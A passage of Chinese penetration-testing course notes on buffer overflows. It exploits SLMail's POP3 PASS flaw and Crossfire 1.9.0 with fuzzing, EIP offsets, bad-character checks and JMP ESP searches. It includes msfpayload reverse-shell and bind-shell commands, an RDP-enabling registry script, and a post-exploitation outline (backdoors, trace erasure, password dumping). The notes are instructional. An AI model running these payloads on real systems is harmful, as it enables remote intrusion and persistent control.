zoukankan      html  css  js  c++  java
  • 第九章 缓冲区溢出

    程序漏洞从哪里来
    • 罪恶的根源:变量
    • 数据与代码边界不清
    • 最简漏洞原理 —— shell脚本漏洞

    缓冲区溢出
    • 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据;
    • 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

    如何发现 漏洞
    • 源码审计
    • 逆向工程
    • 模糊测试
    • 向程序堆栈半随机的数据,根据内存变化判断溢出
    • 数据生成器:生成随机、半随机数据
    • 测试工具:识别溢出漏洞

    WINDOWS 缓冲区溢出

    FUZZER
    • SLMail 5.5.0 Mail Server
    • ImmunityDebugger_1_85_setup.exe
    • mona.py
    • http://pan.baidu.com/s/1o6kT6gM

    • SLMail 5.5.0 Mail Server
    • POP3 PASS 命令存在缓冲区溢出漏洞
    • 无需身份验证实现远程代码执行
    • DEP:阻止代码从数据页被执行
    • ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

    POP3
    • Nc 110端口
    • 了解未知协议
    • Wireshark
    • RFC

    FUZZING
    • 测试 PASS 命令接收到大量数据时是否会溢出
    • EIP 寄存器存放下一条指令的地址

    FUZZING
    • 2700个字符实现 EIP 寄存器溢出
    • 03.py
    • 找到精确溢出的 4 个字节
    • 二分法
    • 唯一字串法
    • usr/share/metasploit-framework/tools/pattern_create.rb 2700

    • 思路:
    • 将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取 EIP 寄存器数值,将跳转到 shellcode 代码段并执行;
    • 寻找可存放shellcode的内存空间

    • 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
    • 返回地址、Shellcode、buffer中都不能出现坏字符
    • null byte (0x00) 空字符,用于终止字符串的拷贝操作
    • return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
    • 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
    • 07.py
    • 0x0A
    • 0x0D

    • 重定向数据流
    • 用 ESP 的地址替换 EIP 的值
    • 但是 ESP 地址变化,硬编码不可行
    • SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
    • 变通思路
    • 在内存中寻找地址固定的系统模块
    • 在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode
    • mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
    • 寻找无DEP、ALSR保护的内存地址
    • 内存地址不包含坏字符

    • 寻找不受保护的系统模块
    • !mona modules
    • 将汇编指令 jmp esp 转换为二进制
    • ./nasm_shell
    • FFE4
    • 在模块中搜索 FFE4 指令
    • !mona find -s “xffxe4” -m slmfc.dll
    • 选择不包含坏字符的内存地址
    • 在该地址设置断点
    • 重发buffer
    • 08.py (地址全翻转)

    • 生成shellcode
    • Scratch
    • ./msfpayload -l
    • ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
    • ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b   “x00x0ax0d”
    • nc -vlp 443
    • 09.py

    • Shellcode执行结束后以 ExitProcess 方式退出整个进程,将导致邮件服务崩溃;
    • Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;
    • ./msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R  | ./msfencode -b “x00x0ax0d”

    • echo Windows Registry Editor Version 5.00>3389.reg
    echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer]>>3389.reg
    echo "fDenyTSConnections"=dword:00000000>>3389.reg
    echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWds dpwdTds cp]>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp]>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    regedit /s 3389.reg

    LINUX 缓冲区溢出

    • Crossfire
    • 多人在线 RPG 游戏
    • 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞
    • 调试工具
    • edb
    • 运行平台
    • Kali i486 虚拟机

    • 新版本Linux内核支持内存保护机制
    • DEP
    • ASLR
    • 堆栈 cookies
    • 堆栈粉碎

    • 本机调试
      • iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP
      • iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP

    • 解压
    • /usr/games
    • tar zxpf crossfire.tar.gz
    • 调试
    • edb --run /usr/games/crossfire/bin/crossfire
    • 01.py

    • 唯一字符串识别 EIP 精确位置
    • /usr/share/metasploit-‐framework/tools/pattern_create.rb 4379
    • 02.py
    • /usr/share/metasploit-‐framework/tools/pattern_offset.rb 46367046
    • 4368
    • 03.py

    • 思路:
    • 第一阶段shellcode
    • ESP 跳转到 EAX
    • 偏移 12 个字节
    • setup sound shellcode2
    • /usr/share/metasploit-‐framework/tools/nasm_shell.rb
    • add eax,12
    • jmp eax
    • x83xc0x0cxffxe0x90x90

    • 查找坏字符
    • x00x0ax0dx20

    • ESP 跳转地址
    • Opcode serach
    • crash = "x41“ * 4368 + "x97x45x13x08“ + "x83xc0x0cxffxe0x90x90"
    • 设断点(0x08134597)
    • EIP——08134597
    • jmp esp
    • add eax, 12
    • jmp eax

    • msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b  "x00x0ax0dx20"
    • 05.py

    选择和修改EXP
    • 网上公开的 EXP 代码
    • 选择可信赖的 EXP 源
    • Exploit-db
    • SecurityFocus
    • Searchsploit
    • 有能力修改 EXP(Python、Perl、Ruby、C、C++…)

    • 646.c
    • 类unix环境下编译
    • 返回地址与我们的环境不符
    • 反弹shell硬编码了回连IP地址
    • 缓冲区偏移量与我们的环境不符
    • 目标IP硬编码

    • 643.c
    • Windows环境下编译
    • apt-get install mingw32
    • dpkg --add-architecture i386 && apt-get update && apt-get install  wine32
    • i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe
    • wine sl.exe 192.168.20.32

    避免有害的EXP
    • 不同的 EXP
    • 不同的系统补丁
    • 软件版本
    • 不同的offset、shellcode
    • 扫描探测目标系统版本,搭建适当的测试环境
    • 避免一锤子测试
    • 修改公开的 EXP 满足不同环境需要
    • 了解漏洞原理,修改溢出代码

    后漏洞利用阶段
    POST EXPLOITATION

    漏洞利用后阶段
    • 上传工具
    • 提权
    • 擦除攻击痕迹
    • 安装后门
    • 长期控制
    • Dump 密码
    • 内网渗透
    • 后漏洞利用阶段
    • 最大的挑战 —— 防病毒软件
    • 使用合法的远程控制软件

    • 上传文件
    • 持久控制
    • 扩大对目标系统的控制能力
    • Linux系统
    • netcat
    • curl
    • wget
    • Windows
    • 缺少预装的下载工具

    • 非交互模式 shell
    • 类 NC远程控制 shell
    • ftp 192.168.1.1

    传输文件
    • Tftp
    • Ftp
    • Vbscript
    • Debug

  • 相关阅读:
    Linq in
    wp7中应用程序清单(WMAppManifest.xml)详细说明
    wp7 给TextBox设置圆角边框
    js 中的闭包
    远程控制PPT软件的帮助
    wp7三种图标大小配置
    在英文版的sqlserver下用LIKE语句不能查询中文
    程序员版《那些年我们一起追过的女孩》(2)
    程序员版《那些年我们一起追过的女孩》(3)
    webbrowser 请求的资源在使用中。 (异常来自 HRESULT:0x800700AA)
  • 原文地址:https://www.cnblogs.com/steven9898/p/11529354.html
Copyright © 2011-2022 走看看